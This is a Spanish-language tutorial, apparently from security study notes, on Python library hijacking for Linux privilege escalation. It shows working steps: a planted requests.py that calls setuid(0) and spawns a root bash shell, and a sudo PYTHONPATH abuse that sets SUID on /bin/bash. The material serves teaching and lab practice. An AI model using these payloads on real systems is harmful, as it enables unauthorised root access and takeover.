Python Library Hijacking
El Python Library Hijacking es una vulnerabilidad de seguridad que permite a un atacante ejecutar código arbitrario manipulando el entorno de Python para cargar una biblioteca maliciosa en lugar de la legítima. Esto puede llevar a:
- Escalada de privilegios (si el script se ejecuta como root).
- Ejecución remota de comandos (RCE) en aplicaciones críticas.
¿Cómo funciona?
1.Carga Dinámica de Módulos
Python busca los módulos importados en este orden:
- Directorio del script actual.
- Directorios en
PYTHONPATH
(variable de entorno). - Bibliotecas estándar (
/usr/lib/pythonX.X
). site-packages
(paquetes instalados conpip
).
2.Explotación por Prioridad de Rutas
Si un script con SUID (ejecución como root) importa un módulo y:
-
Tenemos permisos de escritura en una ruta prioritaria (ej:
/usr/lib/python3.11
). -
Creamos un archivo malicioso con el mismo nombre que el módulo legítimo (ej:
requests.py
). Python cargará nuestro código malicioso en lugar del módulo original.
Caso 1: Módulo con Permisos de Escritura
1.Identificar un script Python con SUID:
ls -l /usr/bin/script.py
-rwsr-xr-x 1 root root 1000 Jan 10 11:00 /usr/bin/script.py
2.Verificar qué módulos importa:
cat /usr/bin/script.py
import requests # Módulo objetivo
3.Ubicar la ruta legítima del módulo:
pip3 show requests
Location: /usr/local/lib/python3.11/dist-packages
4.Explotación si tenemos escritura en /usr/lib/python3.11:
- Crear un archivo malicioso
requests.py
:
import os
os.setuid(0) # Obtener root
os.system("/bin/bash -p") # Spawnear shell privilegiada
Guardarlo en una ruta prioritaria
cp requests.py /usr/lib/python3.11/
# Al ejecutar el script:
/usr/bin/script.py # ¡Shell como root!
Caso 2: Abuso de PYTHONPATH
(si sudo
permite SETENV
)
1.Verificar permisos sudo
:
sudo -l
(ALL : ALL) SETENV: NOPASSWD: /usr/bin/python
2.Crear un módulo malicioso en /tmp:
# /tmp/privesc.py
import os
os.system("chmod u+s /bin/bash")
3.Ejecutar el script objetivo con PYTHONPATH manipulado:
sudo PYTHONPATH=/tmp/ /usr/bin/python /home/elliot/script.py